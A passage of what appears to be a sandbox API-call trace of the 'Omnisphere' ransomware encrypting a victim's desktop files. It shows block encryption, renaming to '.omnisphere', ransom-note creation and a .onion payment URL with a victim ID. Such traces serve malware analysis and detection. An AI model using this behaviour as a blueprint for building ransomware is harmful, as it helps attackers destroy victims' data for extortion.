pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.274] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.275] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.275] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.275] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.275] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.275] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.275] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.278] CryptDestroyKey (hKey=0x16395e8) returned 1 [0163.278] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0163.278] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x163fb, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.278] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.278] GetProcessHeap () returned 0x1600000 [0163.278] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x280) returned 0x164ee58 [0163.278] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\aPnyZYbrX3YqN-JqGl2Q.png" (normalized: "c:\\users\\fd1hvy\\desktop\\apnyzybrx3yqn-jqgl2q.png"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\aPnyZYbrX3YqN-JqGl2Q.png.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\apnyzybrx3yqn-jqgl2q.png.omnisphere")) returned 1 [0163.280] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\aPnyZYbrX3YqN-JqGl2Q.png.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\aPnyZYbrX3YqN-JqGl2Q.png.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\aPnyZYbrX3YqN-JqGl2Q.png.omnisphere.id" [0163.280] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\aPnyZYbrX3YqN-JqGl2Q.png.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\apnyzybrx3yqn-jqgl2q.png.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.281] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.283] CloseHandle (hObject=0x3bc) returned 1 [0163.289] UnmapViewOfFile (lpBaseAddress=0x14a0000) returned 1 [0163.290] CloseHandle (hObject=0x380) returned 1 [0163.290] SetEndOfFile (hFile=0x39c) returned 1 [0163.293] FlushFileBuffers (hFile=0x39c) returned 1 [0163.312] CloseHandle (hObject=0x39c) returned 1 [0163.313] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\aPnyZYbrX3YqN-JqGl2Q.png" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.313] GetProcessHeap () returned 0x1600000 [0163.313] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1771de0 [0163.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.314] GetProcessHeap () returned 0x1600000 [0163.314] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733888 [0163.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733888, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.314] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.314] GetProcessHeap () returned 0x1600000 [0163.314] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f3a0 [0163.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f3a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.314] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.314] GetProcessHeap () returned 0x1600000 [0163.314] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164ccc8 [0163.314] PathCombineW (in: pszDest=0x164ccc8, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.314] GetProcessHeap () returned 0x1600000 [0163.314] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1770970 [0163.314] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.315] WriteFile (in: hFile=0x39c, lpBuffer=0x1770970*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1770970*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.315] CloseHandle (hObject=0x39c) returned 1 [0163.317] GetProcessHeap () returned 0x1600000 [0163.317] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1771de0 | out: hHeap=0x1600000) returned 1 [0163.317] GetProcessHeap () returned 0x1600000 [0163.317] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a570 [0163.317] PathCombineW (in: pszDest=0x163a570, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.317] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.317] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.317] CloseHandle (hObject=0x39c) returned 1 [0163.318] GetProcessHeap () returned 0x1600000 [0163.318] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a570 | out: hHeap=0x1600000) returned 1 [0163.318] GetProcessHeap () returned 0x1600000 [0163.318] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164d010 | out: hHeap=0x1600000) returned 1 [0163.318] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5203ddf0, ftCreationTime.dwHighDateTime=0x1d4cd06, ftLastAccessTime.dwLowDateTime=0x91f0d7a0, ftLastAccessTime.dwHighDateTime=0x1d4c6fe, ftLastWriteTime.dwLowDateTime=0x91f0d7a0, ftLastWriteTime.dwHighDateTime=0x1d4c6fe, nFileSizeHigh=0x0, nFileSizeLow=0x2c79, dwReserved0=0x0, dwReserved1=0xf5, cFileName="CE7J5gV.wav", cAlternateFileName="")) returned 1 [0163.318] GetProcessHeap () returned 0x1600000 [0163.318] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x56) returned 0x163db38 [0163.318] PathCombineW (in: pszDest=0x163db38, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="CE7J5gV.wav" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\CE7J5gV.wav") returned="C:\\Users\\FD1HVy\\Desktop\\CE7J5gV.wav" [0163.318] StrStrW (lpFirst=".omnisphere", lpSrch=".wav") returned 0x0 [0163.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CE7J5gV.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\ce7j5gv.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.319] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=11385) returned 1 [0163.319] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x2755, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.319] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0163.319] GetTickCount () returned 0x11688ee [0163.319] GetTickCount () returned 0x11688ee [0163.319] GetTickCount () returned 0x11688ee [0163.319] GetTickCount () returned 0x11688ee [0163.319] GetTickCount () returned 0x11688ee [0163.319] GetTickCount () returned 0x11688ee [0163.319] GetTickCount () returned 0x11688ee [0163.319] GetTickCount () returned 0x11688ee [0163.319] GetTickCount () returned 0x11688ee [0163.319] GetTickCount () returned 0x11688ee [0163.319] GetTickCount () returned 0x11688ee [0163.319] GetTickCount () returned 0x11688ee [0163.319] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] GetTickCount () returned 0x11688ee [0163.320] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668c58) returned 1 [0163.321] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639768) returned 1 [0163.321] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.321] CryptDestroyKey (hKey=0x1639768) returned 1 [0163.322] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0163.322] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c79, lpName=0x0) returned 0x380 [0163.322] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c79) returned 0x1480000 [0163.322] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668708) returned 1 [0163.323] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639968) returned 1 [0163.323] CryptSetKeyParam (hKey=0x1639968, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.323] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 